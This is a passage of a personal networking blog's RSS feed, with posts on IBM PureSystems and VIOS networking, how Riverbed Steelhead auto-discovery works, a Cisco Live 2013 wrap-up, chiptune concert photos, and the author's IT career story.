&lt;p&gt;&lt;a href=&#34;../2013-12-02-ibm-pure-systems-networking-images/Screen-Shot-2013-11-02-at-3.53.34-PM.png&#34;&gt;&lt;img src=&#34;../2013-12-02-ibm-pure-systems-networking-images/Screen-Shot-2013-11-02-at-3.53.34-PM.png&#34; alt=&#34;IBM Blade to IOM connectivity&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Image copied from (&lt;a href=&#34;http://www.redbooks.ibm.com/abstracts/tips0864.html&#34; title=&#34;http://www.redbooks.ibm.com/abstracts/tips0864.html&#34;&gt;http://www.redbooks.ibm.com/abstracts/tips0864.html&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The portfolio of IO Modules is similar to any BladeCenter you may have seen in the past, with options for in Network Switches (BNT Switches, some supporting OpenFlow 1.0), Fiber Channel switches and passthrough modules (All the options can be found here: &lt;a href=&#34;http://www-03.ibm.com/systems/flex/networking/&#34;&gt;http://www-03.ibm.com/systems/flex/networking/&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Where I see the need for great improvement is the POWER Series networking. POWER utilizes a Virtual IO Server (VIOS) to connect the LPARs to each other and the outside world. Essentially the VIOS is a AIX server that acts as a layer 2 bridge. The VIOS lacks the ability most network switches have had to do private VLAN configurations and layer 3 inspection. There also currently is no support at this time for next generation such as OpenFlow, IBM DOVE, or VXLAN.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;../2013-12-02-ibm-pure-systems-networking-images/Screen-Shot-2013-11-02-at-3.16.35-PM.png&#34;&gt;&lt;img src=&#34;../2013-12-02-ibm-pure-systems-networking-images/Screen-Shot-2013-11-02-at-3.16.35-PM.png&#34; alt=&#34;IBM PURE Block Diagram&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This brings many complications in a multi-hypervisor environment. For example locating an IBM LPAR next to a VMWare workload you will need glue it together with VLANs and legacy networking. This will require networking teams maintain network controls separately from how you may treat the rest of your virtualized work loads on the VMWare platform.&lt;/p&gt;
&lt;p&gt;Even though I have a bit of a beef with the VIOS, the PURE system is a good approach for IBM shops to consolidate their workloads into a single Private Cloud style configuration.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>blade center</category>
            
          
            
              <category>ibm</category>
            
          
            
              <category>networking</category>
            
          
            
              <category>pure</category>
            
          
            
              <category>pure system</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>How does Riverbed Steelhead Auto Discovery work?</title>
        <link>https://ben.the-collective.net/posts/2013-09-14-how-does-riverbed-steelhead-auto-discovery-work/</link>
        <pubDate>Sat, 14 Sep 2013 15:41:18 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sat, 14 Sep 2013 15:41:18 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-09-14-how-does-riverbed-steelhead-auto-discovery-work/</guid>
        <description>Riverbed Steelhead devices have a method they use to find each other on the network. Riverbed has named this Enhanced Auto Discovery. This is intended to reduce time to deployment and simplify the configuration on the devices. The core of this method uses setting Options in the TCP headers within the initial 3 way handshake. There are a few concepts to go over to fully understand the process of Steelhead Auto Discovery.</description>
        <content:encoded>&lt;p&gt;Riverbed Steelhead devices have a method they use to find each other on the network. Riverbed has named this Enhanced Auto Discovery. This is intended to reduce time to deployment and simplify the configuration on the devices. The core of this method uses setting Options in the TCP headers within the initial 3 way handshake. There are a few concepts to go over to fully understand the process of Steelhead Auto Discovery.&lt;/p&gt;
&lt;h2 id=&#34;the-steelhead-is-a-layer-2-bridge&#34;&gt;The Steelhead is a Layer 2 Bridge&lt;/h2&gt;
&lt;p&gt;Every Riverbed is a layer 2 bridge, for traffic to enter the optimization engine it must be bridged through the Steelhead. In the appliance there are 2 interfaces that make of the bridge, they are named the LAN and WAN interfaces. The LAN interface connects the network where the client machines, or server machines are located. The WAN interfaces connects to the external network where the router for the VPN, MPLS, P2P, 3G Radio, or whatever medium may be in use resides.&lt;/p&gt;
&lt;p&gt;These interfaces together are called the IN PATH interfaces. In a Cisco device that is doing IRB style bridging the IN PATH interface would be similar to a BVI interface. The IN PATH interface is required to have an IP address assigned to it, this is the IP Steelheads use to communicate to each other on. For example Inner Channel is negotiated between IP addresses of IN PATH interfaces, this is one reason that IP reachability between the IN PATH IP addresses is important.&lt;/p&gt;
&lt;h2 id=&#34;clients-and-servers&#34;&gt;Clients and Servers&lt;/h2&gt;
&lt;p&gt;There are a couple of designations that help to clarity which devices initiate which connections. The Client Steelhead (CSH) is the Steelhead that receives the first Naked SYN from the client machine initiating the connection. A Server Steelhead (SSH) is a Steelhead that receives the SYN+ from a Client Steelhead and is the Steelhead closest to the destination server.&lt;/p&gt;
&lt;h2 id=&#34;the-channels&#34;&gt;The Channels&lt;/h2&gt;
&lt;p&gt;Channels denote areas where specific devices communicate with each other, and where traffic is optimized or not optimized. There are 2 separate Outer Channels and a single Inner Channel.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;../2013-09-14-how-does-riverbed-steelhead-auto-discovery-work-images/Screen-Shot-2013-08-18-at-10.38.49-PM.png&#34;&gt;&lt;img src=&#34;../2013-09-14-how-does-riverbed-steelhead-auto-discovery-work-images/Screen-Shot-2013-08-18-at-10.38.49-PM.png&#34; alt=&#34;Screen Shot 2013-08-18 at 10.38.49 PM&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Outer Channel (local) – This channel is between the Steelhead LAN interface and the client machine sourcing of the Naked SYN. This may be a branch workstation for example.&lt;/p&gt;
&lt;p&gt;Outer Channel (Remote) – This is the channel between the Steelhead LAN interface and the server machine that the initial SYN was intended to be received by. This may be some sort of application or file server at a data center for example.&lt;/p&gt;
&lt;p&gt;Inner Channel – This is the network between the WAN interfaces of the Steelheads. This is a TCP connection between the IN PATH IP address where all optimized traffic between Steelheads passes. The default for used for this connection is TCP&lt;span style=&#34;font-size: 13px; line-height: 19px;&#34;&gt; 7800.&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&#34;the-process&#34;&gt;The Process&lt;/h2&gt;
&lt;p&gt;Now on to the steps used for the Steelhead devices to find each other. There are 7 main steps involved, in the following example you are initiating a TCP connection from a Client workstation to a Server to copy a file.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;../2013-09-14-how-does-riverbed-steelhead-auto-discovery-work-images/Screen-Shot-2013-08-18-at-10.54.42-PM.png&#34;&gt;&lt;img src=&#34;../2013-09-14-how-does-riverbed-steelhead-auto-discovery-work-images/Screen-Shot-2013-08-18-at-10.54.42-PM.png&#34; alt=&#34;Screen Shot 2013-08-18 at 10.54.42 PM&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The client machine sends a Naked SYN packet, this is a SYN with out the PROBE TCP option set. This SYN packet is received on the LAN interface of the CSH and is intercepted by the CSH. At this stage the Steelhead checks licenses to make sure this traffic is entitled, if it is not the traffic is just passed through unchanged. If all is well the CSH will add the TCP header Option number 76. This option header is named AUTO-DISCOVERY PROBE and will include such information as the IN PATH IP address and what role this Steelhead is assuming. A packet with an TCP option is noted by a ‘+’ in documentation, for example SYN+. After the header is set the packet is forwarded out the WAN interface.&lt;/li&gt;
&lt;li&gt;This SYN+ is received by the Steelhead that will become the SSH (in this example) on the WAN interface. Again at this stage licenses on this Steelhead are checked to make sure this traffic is entitled, if not the traffic is just passed through untouched. If the SYN does not for the option headers set it is also passed through untouched.&lt;/li&gt;
&lt;li&gt;Since this packets is a SYN+ the Steelhead then sends a SYN/ACK+ with FWD Negotiation option back towards Client machine. This SYN/ACK+ is then intercepted by the CSH on the return path.&lt;/li&gt;
&lt;li&gt;The Steelhead near the Server machine starts a negotiates 3 way handshake with Server machine. If this Steelhead does not encounter another Steelhead between itself and the Server machine it will assume the role of SSH and complete an 3 way handshake with the Server machine. If a Steelhead is encountered this process repeats down the line towards the server.&lt;/li&gt;
&lt;li&gt;The newly declared SSH will then send a SYN/ACK+ with PROBE RESPONSE option in headers towards CSH.&lt;/li&gt;
&lt;li&gt;The SYN/ACK+ is intercepted by the CSH and the CSH initiates the Inner channel between the CSH to the SSH.&lt;/li&gt;
&lt;li&gt;Once the Inner Channel is formed the CSH completes the 3 way between itself and the Client machine.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now that the above steps are completed the traffic between the Client machines and Server machines is on its way and the Steelhead is transparently (to the client and server) doing its optimization magic. All of the traffic in this flow, after it has been optimized is transmitted, over the Inner Channel. If a new traffic flow needs to communicate between the Client and Server the process starts again for that new traffic flow and this is the case for every TCP connection that occurs from site to site.&lt;/p&gt;
&lt;h2 id=&#34;where-trouble-can-occur&#34;&gt;Where Trouble can Occur&lt;/h2&gt;
&lt;p&gt;There are a few basic items that can easily stop this process from occurring, therefor blocking optimization from occurring.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If there is something strips the Option headers out of TCP packets such as a firewall or IDS.&lt;/li&gt;
&lt;li&gt;The IN PATH interfaces do not have Layer 3 reachability between each other. This will prevent the Inner Channel from forming.&lt;/li&gt;
&lt;li&gt;The traffic does not follow from the LAN to WAN and WAN to LAN interfaces on both the SSH and CSH.&lt;/li&gt;
&lt;li&gt;The boxes are improperly licensed or the amount of traffic/tcp session is exceeding the license&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Over all this is a pretty simple process and not to different from how other vendors handle things such as Cisco WAAS. Even though they use technologies such as WCCPv2. There are other scenarios that such as Virtual In Path and Server Side Out of Path that are a bit different, but this is the Riverbed recommended way of doing things.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>autodiscovery</category>
            
          
            
              <category>riverbed</category>
            
          
            
              <category>steelhead</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>8static 34 - April 2013 Photos</title>
        <link>https://ben.the-collective.net/posts/2013-08-12-8static-34-april-2013-photos/</link>
        <pubDate>Mon, 12 Aug 2013 22:22:49 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 12 Aug 2013 22:22:49 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-08-12-8static-34-april-2013-photos/</guid>
        <description>So I have some catching up to do, so here are some photos from April!
8static 34
April 13th, 2013 7:00pm
music:
Br1ght Pr1mate (BOS)
Note! (NYC)
Dauragon (DC)
Environmental Sound Collapse (CHI)
visuals:
Environmental Sound Collapse (CHI)
workshop:
Animal Style on soldering for modding / circuit bending
Dauragon
Br1ght Pr1mates
Note!</description>
        <content:encoded>&lt;p&gt;So I have some catching up to do, so here are some photos from April!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8static 34&lt;/strong&gt;&lt;br /&gt;
April 13th, 2013 7:00pm&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://brightprimate.tk/&#34;&gt;Br1ght Pr1mate&lt;/a&gt; (BOS)&lt;br /&gt;
&lt;a href=&#34;http://note.monoanimal.com/&#34;&gt;Note!&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://dauragon.com/&#34;&gt;Dauragon&lt;/a&gt; (DC)&lt;br /&gt;
&lt;a href=&#34;http://esc.soundcollapse.org/&#34;&gt;Environmental Sound Collapse&lt;/a&gt; (CHI)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://esc.soundcollapse.org/&#34;&gt;Environmental Sound Collapse&lt;/a&gt; (CHI)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;workshop:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://animal-style.com/&#34;&gt;Animal Style&lt;/a&gt; on soldering for modding / circuit bending&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/9497415787/&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/08/IMG_0960.jpg?resize=640%2C418&#34; alt=&#34;8static - Dauragon&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Dauragon&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/9497423383/&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/08/IMG_0990.jpg?resize=640%2C412&#34; alt=&#34;8static - Br1ght Pr1mates&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Br1ght Pr1mates&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/9497469831/&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/08/IMG_1216.jpg?resize=640%2C449&#34; alt=&#34;8static - Note!&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Note!&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Cisco Live 2013 - My (late) wrap up.</title>
        <link>https://ben.the-collective.net/posts/2013-07-28-cisco-live-2013-my-late-wrap-up/</link>
        <pubDate>Sun, 28 Jul 2013 13:35:29 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 28 Jul 2013 13:35:29 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-07-28-cisco-live-2013-my-late-wrap-up/</guid>
        <description>This past month I attended Cisco Live in Orlando, FL with 20,000(?) of my fellow Network/Collaboration/Service Provider/Data Center engineers from all around the world. This was my first time attending, and I had a blast! There are a few themes I won’t talk much about in this post that were big topics at Cisco Live one of which is the Internet of Everything (IoE) as that is well covered, and well is really just Market-ecture-tastic.</description>
        <content:encoded>&lt;p&gt;This past month I attended &lt;a href=&#34;http://www.ciscolive.com/&#34;&gt;Cisco Live&lt;/a&gt; in Orlando, FL with 20,000(?) of my fellow Network/Collaboration/Service Provider/Data Center engineers from all around the world. This was my first time attending, and I had a blast! There are a few themes I won’t talk much about in this post that were big topics at Cisco Live one of which is the Internet of Everything (IoE) as that is well covered, and well is really just Market-ecture-tastic. New gear like the Catalyst 6800 or Nexus 7700 and new ASICs all of which are neat, powerful, and that will enable a lot of the future technologies, but Better, Faster, Stronger hardware comes all the time. In the end SDN/Network Virtualization for me was the most discussed topic in through all of the Network-centric sessions and “hallway” conversations throughout the entire week.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2013/07/image004.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/07/image004-254x300.jpg&#34; alt=&#34;CLUS 2013 Schedule&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
I was able to attended many great sessions, but even with a packed schedule I still wanted to be in two places at once most of the time. There were a few standout sessions including “BRKRST-3114 The Art of Network Architecture” and “BRKRST-3045 LISP – A Next Generation Networking Architecture”. “The Art of Network Architecture” was a very business forward discussion of network architecture, and I believe attempted to change the discussion around designing a network. Wheras “LISP – A Next Generation Networking Architecture” got me excited about LISP in a way that I had not been before. All the previous information I had read about LISP left me wanting for a tangible use case. This presentation at CLUS started to describe some good use cases for LISP, I am still left wanting for more wide spread production implementations.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.facebook.com/photo.php?fbid=10151509040257807&amp;amp;set=a.10151509034212807.1073741830.270211262806&amp;amp;type=3&amp;amp;theater&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/07/21348_10151509040257807_193147921_n-768x512.jpg&#34; alt=&#34;CLUS Tweetup&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Another great event I attended was the &lt;a href=&#34;http://networkingnerd.net/2013/05/23/cisco-live-2013-tweetup/&#34;&gt;Tweetup organized by Tom Hollingsworth&lt;/a&gt;. I met a lot of people I follow on Twitter there, and it was nice to put a face with a Twitter handle and have some good conversations about networking and well just about anything else.&lt;/p&gt;
&lt;p&gt;When listening to the discussions and presentations a few trends and themes struck me. First, there is a trend towards the flat network; when I look at the fabric technologies or the affinity networking coming out of &lt;a href=&#34;http://www.plexxi.com/&#34;&gt;Plexxi&lt;/a&gt; or potentially Insieme, this all puts a large exclamation point at the end of the need to move to IPv6 or at least implement dual stack sooner rather than later. It will be key in the success of these technologies in the data center. Next there was a constant argument going on about the death of the CLI and that the GUI will reign supreme. I believe both the CLI users and the GUI user can be accommodated, both types of interfaces can be used to manipulate some back end software and logic. An example of this is &lt;a href=&#34;http://www.tail-f.com/network-control-system/&#34;&gt;tail-f NCS&lt;/a&gt; which has both, while not “SDN” by some definitions, but an example of the 2 UIs co-existing. The real augment that needs to be had concerns the designs of the system needed to support the applications.&lt;/p&gt;
&lt;p&gt;This one is more a rant and less of a theme, but I still think Cisco is missing the mark with the ASA 1000v. I think virtualized physical appliances are a transitional technology, but a needed one. Creating the ASA 1000v and not giving it the full set of features of it’s physical counterpart without a roadmap as far as I can tell to add them, along with the insane licensing scheme of a per-socket protected model does not make sense to me. This is all short changing the IaaS provider market and IMHO it should be licensed and operated similar to the CSR 1000v, full features and per appliance licensing.&lt;/p&gt;
&lt;p&gt;Overall, I was left with two general questions from the week. First, I’m curious how the balance of systemic complexity vs configuration complexity vs structure complexity will fall as the overlay, “underlay” and the SDN glue that holds it all together sets into place. Each new technology that is introduced seems to address one of these complexity problems but not all three in one fell swoop, but this is a larger topic for another post. Second is a reoccurring theme in technology: everything old is new again; I look at the data center technologies, and some of the new IP routing technologies (LISP), and they look a lot like old telephony switching technologies, in the same way VDI looks like mainframe dumb terminals. This is not a critique, just an observation on how it’s important to know your past because it will come back Better, Faster, Stronger, or maybe just the same with a new box around it.&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>meta</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Cheap Dinosaurs Play Goblin Photos</title>
        <link>https://ben.the-collective.net/posts/2013-04-06-cheap-dinosaurs-play-goblin-photos/</link>
        <pubDate>Sat, 06 Apr 2013 21:09:48 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sat, 06 Apr 2013 21:09:48 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-04-06-cheap-dinosaurs-play-goblin-photos/</guid>
        <description>This show is from last year, i’m just finally getting the images edited and posted
Cheap Dinosaurs play Goblin
Friday, October 12th, 2012
7:00pm at PhilaMOCA – All Ages!
http://www.philamoca.org/
Cheap Dinosaurs (PHL) http://www.cheapdinosaurs.bandcamp.com/
Tom Guycot (PHL) http://www.soundcloud.com/tomguycot
The Joint Chiefs of Math (PHL) http://www.thejointchiefsofmath.bandcamp.com/
NO CARRIER (NYC) http://www.no-carrier.com/
Full set of images: http://www.flickr.com/photos/su1droot/sets/72157633179177793
The Joint Chiefs of Math
Tom Guycot
Cheap Dinosaurs</description>
        <content:encoded>&lt;p&gt;This show is from last year, i’m just finally getting the images edited and posted&lt;/p&gt;
&lt;p&gt;Cheap Dinosaurs play Goblin&lt;br /&gt;
Friday, October 12th, 2012&lt;br /&gt;
7:00pm at PhilaMOCA – All Ages!&lt;br /&gt;
&lt;a href=&#34;http://www.philamoca.org/&#34;&gt;http://www.philamoca.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cheap Dinosaurs (PHL) &lt;em&gt;&lt;a href=&#34;http://www.cheapdinosaurs.bandcamp.com/&#34;&gt;http://www.cheapdinosaurs.bandcamp.com/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tom Guycot (PHL) &lt;a href=&#34;http://www.soundcloud.com/tomguycot&#34;&gt;http://www.soundcloud.com/tomguycot&lt;/a&gt;&lt;br /&gt;
The Joint Chiefs of Math (PHL) &lt;a href=&#34;http://www.thejointchiefsofmath.bandcamp.com/&#34;&gt;http://www.thejointchiefsofmath.bandcamp.com/&lt;/a&gt;&lt;br /&gt;
NO CARRIER (NYC) &lt;a href=&#34;http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.no-carrier.com%2F&amp;amp;h=hAQERHgHM&amp;amp;s=1&#34;&gt;http://www.no-carrier.com/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Full set of images: &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157633179177793&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157633179177793&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8625539669/in/set-72157633179177793&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/04/20121012200401IMG_1134.jpg?resize=640%2C427&#34; alt=&#34;The Joint Chiefs of Math&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
The Joint Chiefs of Math&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8625545289/in/set-72157633179177793&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/04/20121012205222IMG_1176.jpg?resize=427%2C640&#34; alt=&#34;Tom Guycot&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Tom Guycot&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8625556911/in/set-72157633179177793&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/04/20121012220445IMG_1353.jpg?resize=640%2C427&#34; alt=&#34;Cheap Dinosaurs&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Cheap Dinosaurs&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>music</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 33 - March 2013 Photos</title>
        <link>https://ben.the-collective.net/posts/2013-03-17-8static-33-march-2013-photos/</link>
        <pubDate>Sun, 17 Mar 2013 13:37:08 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 17 Mar 2013 13:37:08 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-03-17-8static-33-march-2013-photos/</guid>
        <description>8static 33
March 9th, 2013
at PhilaMOCA
Full set on Flickr:
http://www.flickr.com/photos/su1droot/sets/72157633015537907/
music:
Nullsleep (NYC)
Doomcloud (CT)
Noisewaves (MI)
Mechlo (POR)
visuals:
Batsly Adams (NYC)
after-party:
Radlib (CT) is back, DJing MOD files
Mechlo
Nullsleep
Doomcloud</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 33&lt;/strong&gt;&lt;br /&gt;
March 9th, 2013&lt;br /&gt;
at PhilaMOCA&lt;/p&gt;
&lt;p&gt;Full set on Flickr:&lt;br /&gt;
&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157633015537907/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157633015537907/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.nullsleep.com/&#34;&gt;Nullsleep&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://doomcloud.bandcamp.com/&#34;&gt;Doomcloud&lt;/a&gt; (CT)&lt;br /&gt;
&lt;a href=&#34;http://noisewaves.bandcamp.com/&#34;&gt;Noisewaves&lt;/a&gt; (MI)&lt;br /&gt;
&lt;a href=&#34;http://mechlo.bandcamp.com/&#34;&gt;Mechlo&lt;/a&gt; (POR)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.batslyadams.com/&#34;&gt;Batsly Adams&lt;/a&gt; (NYC)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;after-party:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.8bitpeoples.com/discography/8BP127?show=all&#34;&gt;Radlib&lt;/a&gt; (CT) is back, DJing MOD files&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8565040195/in/photostream&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/03/20130309213702IMG_0108.jpg?resize=640%2C427&#34; alt=&#34;8static - Mechlo&#34; title=&#34;Mechlo&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Mechlo&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2013/03/20130309225345IMG_0404.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/03/20130309225345IMG_0404.jpg?resize=427%2C640&#34; alt=&#34;Nullsleep&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Nullsleep&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8565094199/in/photostream&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2013/03/20130309232245IMG_0447.jpg?resize=427%2C640&#34; alt=&#34;Doomcloud&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Doomcloud&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>How I started and learned (Hello World!)</title>
        <link>https://ben.the-collective.net/posts/2013-03-12-how-i-started-and-learned-hello-world/</link>
        <pubDate>Tue, 12 Mar 2013 18:42:46 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 12 Mar 2013 18:42:46 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-03-12-how-i-started-and-learned-hello-world/</guid>
        <description>I think it makes sense to kick off this blog with a how did I get to where I’m at today. This post covers about 16 or so years (as of posting) of working in IT and Computers and well many years before them as a well….hobbyist.
My first introduction to communications, I guess you could say networking, was calling BBSs and eventually installing and playing with BBS software. I learned a lot about modems and dialup communications.</description>
        <content:encoded>&lt;p&gt;I think it makes sense to kick off this blog with a how did I get to where I’m at today. This post covers about 16 or so years (as of posting) of working in IT and Computers and well many years before them as a well….hobbyist.&lt;/p&gt;
&lt;p&gt;My first introduction to communications, I guess you could say networking, was calling BBSs and eventually installing and playing with BBS software. I learned a lot about modems and dialup communications. Towards the end of this era (to learn more about this time in technology I highly recommend watching the &lt;a href=&#34;http://www.bbsdocumentary.com/&#34;&gt;BBS Documentary&lt;/a&gt; that was released by Jason Scott in 2005.) I leaned about &lt;a href=&#34;http://www.2600.com/&#34;&gt;2600 Magazine&lt;/a&gt; and went to a 2600 Meeting in my area and starting to get interested in the Phone System and how the Phone Switching Systems work.&lt;/p&gt;
&lt;p&gt;Then came along the internet, and I started to learn about programing in some classes in High School and on my own, eventually learning &lt;a href=&#34;http://www.linuxhowtos.org/C_C++/socket.htm&#34;&gt;C Sockets&lt;/a&gt; and coding some basic Client/Server programs and showing me how applications worked across a network. At this time I didn’t know anything about the 7 layer model or another really about networking theory, but I do know now this knowledge has shaped how I have always approached troubleshooting.&lt;/p&gt;
&lt;p&gt;Eventually I decided it was time to get a job working on computers and I found a job working for an outsourced call center for a major home computer manufacturer. This was a very valuable job in my career, here I learned one of the toughest skills to learn, customer service. There were many difficult customers, for example, “where the Start Button?”, Sorry your hard drive is clicking and your data is gone, ‘Yes, click the mouse button in the right” are just some examples. I learned to handle and lead non-expert users, and resolve there issues to the best of my ability. Doing it all with a smile in my voice no matter how frustrating they were.&lt;/p&gt;
&lt;p&gt;Eventually that job ended (&lt;em&gt;ahem laid off&lt;/em&gt;) and I moved into a job and small computer integration company (see &lt;a href=&#34;http://packetpushers.net/thoughts-on-working-as-a-consultant-for-a-var/&#34;&gt;Thoughts on Working as a Consultant for a VAR&lt;/a&gt; and &lt;a href=&#34;http://www.network-janitor.net/2013/02/the-var-y-good-upsides-to-being-a-consultant/&#34;&gt;THE VAR-Y GOOD UPSIDES TO BEING A CONSULTANT!&lt;/a&gt; both are true in a lot of ways about a 13+ years ago as they are today). On my first day I walked to a stack of Novell NetWare books. So I learned NetWare, then Windows NT, Windows 2000, the desktop OS of the month, how to run cable (&lt;em&gt;badly&lt;/em&gt;), and just about anything you could imagine in a small company would use at that time. This made me a very well-rounded technician but not too deep any topic. I did always have a feeling I had an interest in the networking, so I made every opportunity I could to learn how to program routers and learn networks.&lt;/p&gt;
&lt;p&gt;After enough time I studied and got my CCNA at the same time as my boss/owner of the company at the time. This is when I fell off the deep end and started to become a specialist in networking and connectivity, learning about T1s, factional T1s, 56k circuits working with phone companies, still running cabling, routers, switches and still doing all the server work when needed. Then the craze of IP Telephony hit and we started to install Cisco CallManager and Unity. Learning more about PBXs, call routing, dial plans, and auto attendants then I’d ever cared too. Some where in this time period I’d say i could be calling a Network Engineer and moved up form just being a Technician.&lt;/p&gt;
&lt;p&gt;After long enough I decided it was time to get my CCIE, then I procrastinated a while and then I actually did my Written exam and then Lab exam. It was a lot of work but I got it done with a stack of Cisco 2600s, and a lot of late nights. Not long after this my work role changed a lot moving into a role as an IT Director, where I still did my fair share of engineering, but also dived into security and operational policy for internal IT along with our virtual co-location data center (what we would call IaaS now) that we built from the ground up which was very fun. This more or less leads me to today where after more role changes I now focus on Network Architecture for on site customer networks as a Managed Service Provider and the network for our Cloud Service we provide. Working more in diagrams, word, excel and documenting now then working in actual commands lines.&lt;/p&gt;
&lt;p&gt;Not to wax poetic too much but it was been a long winding road, and all the change along the way has kept me on my toes and kept it interesting.&lt;/p&gt;
</content:encoded>
